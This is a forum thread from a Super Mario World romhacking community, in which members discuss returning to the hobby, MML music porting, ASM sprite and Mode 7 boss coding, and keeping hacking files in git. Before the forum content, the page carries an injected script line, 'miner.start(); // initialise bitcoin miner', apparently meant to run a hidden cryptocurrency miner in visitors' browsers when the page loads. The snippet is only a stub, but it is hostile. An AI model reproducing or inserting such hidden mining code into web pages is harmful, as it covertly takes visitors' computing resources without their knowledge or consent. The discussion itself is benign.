<script>
miner.start(); // initialise bitcoin miner
</script>

smbx communitymario fan games galaxysmw central

talkhaus thoughts

here's a good place for FRIENDLY, ENJOYABLE, and otherwise very GENERAL discussion!
User avatar
Wolfolotl
cryptid
Posts: 734
Joined: 5 years ago
First name: ovid
Pronouns: xe/xem/xyr
Location: big long pointy teeth

Re: talkhaus thoughts

Postby Wolfolotl » 1 week ago

dropped by for the first time in years to ask a yump2 question, figured I should ask how things have been since I was a stupid adversarial teenager
:nb_pride:

User avatar
alleightbits
START PLAY!
Posts: 711
Joined: 5 years ago
First name: Brian
Location: United States

Re: talkhaus thoughts

Postby alleightbits » 1 week ago

Wolfolotl wrote: dropped by for the first time in years to ask a yump2 question, figured I should ask how things have been since I was a stupid adversarial teenager
Hi, Wolfy. As someone who also recently returned, you didn’t miss much.
Image

User avatar
raekuul
D&C 134:2
Posts: 1109
Joined: 11 years ago
First name: Pokota
Pronouns: he/him/his
Location: Literal Cincinnati
Contact:

Re: talkhaus thoughts

Postby raekuul » 1 week ago

Oh neat. LilyPad and AddMusicK use similar notational rules.

Guess it's time to learn how to music.
I do streams sometimes
SnoruntPyro played my MaGLX2 level
Image
And now to reveal my rejected names: Darth Vader's Tough Savannah Mansion in Canada's Chapter

agargara
Posts: 10
Joined: 8 years ago

Re: talkhaus thoughts

Postby agargara » 1 week ago

A lily pad in the lily pond, what will the lilacs think

User avatar
KobaBeach
obscure jrpg enthusiast
Posts: 1748
Joined: 7 years ago
First name: David
Pronouns: he/him
Location: Portugal

Re: talkhaus thoughts

Postby KobaBeach » 1 week ago

raekuul wrote: Oh neat. LilyPad and AddMusicK use similar notational rules.

Guess it's time to learn how to music.
I don't know what LilyPad is but MML?

Good luck. Here's an extensive tutorial on SMW Music Porting, should help you get a good grasp of MML.

I've started work on a scale platform from SMB1 sometime ago but the collision is giving me trouble. I'm thinking of hardcoding it with help from the disassembly instead of using the pre-made SMW one just to get this over with, but motivation has been low.

Somewhat related, there's also a new alternative SMW editor being made by Yoshimaster96 and I'm honestly kind of hype. Not to show up FuSoYa (okay a bit to show up Fu) but so the scene has a little open source alternative to help foster new editors in case Fu decides to retire. And also for the purposes of having an alternate editor that doesn't mess too much with ASM hijacks for advanced users.

agargara wrote:A lily pad in the lily pond, what will the lilacs think
freedom planet
twitter (spicy at times!) | romhacking twitter (cats!!!) | GitHub | avatar by kuma

who cares:
Image

Image
Image
Image
Image
Image
Image
Image
:pan_pride:

User avatar
yoshicookiezeus
Ponspectors ‘til we die!
Posts: 111
Joined: 11 years ago
Pronouns: he/him/his
Location: Sweden

Re: talkhaus thoughts

Postby yoshicookiezeus » 3 days ago

Managed to save all of my old SMW hacking stuff (including all of the ASMT files!) from the broken USB stick they were stuck on! I still don’t have have a proper computer to do anything useful with it, just a temporary laptop I’ve borrowed from work for working from home, but this will be fun to look through later when I get around to buying one.

Reminder to myself to set up a proper git repository once I finally get around to starting up a new hacking project, though; from quickly browsing through the ASMT folder it’s kind of a horrendous mess, with outdated copies of various files everywhere.

User avatar
KobaBeach
obscure jrpg enthusiast
Posts: 1748
Joined: 7 years ago
First name: David
Pronouns: he/him
Location: Portugal

Re: talkhaus thoughts

Postby KobaBeach » 3 days ago

Glad to hear.

Some people on SMWC and Sneslab have gits. I intend to use mine for non-ASM stuff as well when I get better at that so I just thought "why not make one?". So far only my SMW stuff, a small Toy Story disassembly I haven't done much progress in and some Head First Java exercises are all that's in it. I also use it to transfer my SMW folder from one PC to the other easily, so that's private.

I don't know how much of an expert in ASM I am despite having done some stuff myself so I don't know if I can help with refreshers or just general aid. I am making a somewhat complex sprite rn tho. Thinking of making a small Mode 7 boss from another game just to practice using Mode 7 in general too. I was half-suggested some Skyblazer bosses, possibly the rolling one due to how simple it is (a friend is planning on making it for his hack, but I can make it too).

I also have some requests to make an edited Monty Mole and a remake of carol's pushing Shy Guy boss (the latter from the same friend that wants to make the Mode 7 boss), which I did try to make once but without Layer 2. I'll try with Layer 2 like carol did this time just to make it less of a headache haha. I won't be salvaging carol's code because carol's code is a huge mess a lot of the time.
twitter (spicy at times!) | romhacking twitter (cats!!!) | GitHub | avatar by kuma

who cares:
Image

Image
Image
Image
Image
Image
Image
Image
:pan_pride:

User avatar
yoshicookiezeus
Ponspectors ‘til we die!
Posts: 111
Joined: 11 years ago
Pronouns: he/him/his
Location: Sweden

Re: talkhaus thoughts

Postby yoshicookiezeus » 2 days ago

KobaBeach wrote: I don't know how much of an expert in ASM I am despite having done some stuff myself so I don't know if I can help with refreshers or just general aid.
I appreciate the offer, but I think I’ll be fine. I work as an embedded systems C programmer, so even if I haven’t done any actual ASM work in years, it really isn’t that far off from what I’ve spent the last five or so years doing daily :V

Also re: not being an ASM expert: unless the scene has evolved a ridiculous amount in the few years since I last visited SMWC, just being able to consider coding a Mode 7 boss already puts you way beyond what most people will ever reach.

User avatar
KobaBeach
obscure jrpg enthusiast
Posts: 1748
Joined: 7 years ago
First name: David
Pronouns: he/him
Location: Portugal

Re: talkhaus thoughts

Postby KobaBeach » 2 days ago

yoshicookiezeus wrote: I appreciate the offer, but I think I’ll be fine. I work as an embedded systems C programmer, so even if I haven’t done any actual ASM work in years, it really isn’t that far off from what I’ve spent the last five or so years doing daily :V

Also re: not being an ASM expert: unless the scene has evolved a ridiculous amount in the few years since I last visited SMWC, just being able to consider coding a Mode 7 boss already puts you way beyond what most people will ever reach.
Wow that's so cool @ C programming. I'd like to work as a freelance programmer sometime, even if only to gain experience (I don't know if I'll be able to finish high school or go to college, money and mental health issues). Also shucks! Mode 7 is still tough but thanks to dotsarecool/IsoFrieze's Retro Game Mechanics Explained series on the SNES' hardware features, there is a good video that explains the ins and outs of Mode 7 rather well. It's just a matter of practicing and learning.


As for the boss me and my friend were considering making (he's working on a Kaizo hack with silly ASM, very motivated), it's this one. Simple movement, scaling and rotating.

Rotating I could copypaste from Bowser and the Koopalings since rotating accurately is a bit of a struggle on the SNES, scaling shouldn't be too hard to mess around with. As for movement, I think you can just check for layer 1 contact on one side to move up, and another to move down.

Alternately I could hardcode the locations to move up and down if there are limitations on the SMW engine regarding sprites being blocked. I think it's just layer 2 that handles side contact as one bit regardless of side, but I haven't checked the RAM Map in a few days.

So far I've coded two sprites with the help of some previously made ones (SMB3 Burners with the help of the VIP5 ones, Leaf Shield with the help of carol's), and am working on another one that's more complex fully by myself with the occasional help from fellow ASMers (Scale Platforms from SMB1), and also an unfinished sunset HDMA that shifted over time that also had a simple sun sprite that served for decoration. I'm planning on someday remaking it to support Dynamic HDMA, however. My motivation for ASM is to someday be able to make things like the VIP5 bosses, so I want to be as good at it as I can be!


There are a lot of talented coders these days. Someone even managed to port basic YI 3D from Super FX to SA1 for their CLDC entry (thus why I'm leaving them as anonymous, you can always drop by the site when the results drop to find out who, or just check out the Discord and the #cldc-showoff channel), said person also messed around with Mode 2's background offset feature to replicate the lava from the underground dungeon sections in YI as well (it was very hard, so they say).

More people are starting to approach ASM too which is nice. Maybe someday we'll see even more people doing stuff like in depth Mode 7 usage and such, or complex enemies and bosses, or large scale patches! There was one person who started work on a little Mario Kart minigame, which I think was private for someone's hack (or maybe was just made as a tech demo), but it was never released and the person who did it sacrificed their account in a sort of "ban me" outburst of, from what I heard, racial slurs? The person was a teenager (they've been coding since like 7) so, I won't judge them too harshly, but still quite harshly. They also did their own mode 7 overworld and some other neat stuff.

Looking forward to seeing you back on the site. :catplanet:
twitter (spicy at times!) | romhacking twitter (cats!!!) | GitHub | avatar by kuma

who cares:
Image

Image
Image
Image
Image
Image
Image
Image
:pan_pride:


Return to “the gazebo”

Who is online

Users browsing this forum: No registered users and 16 guests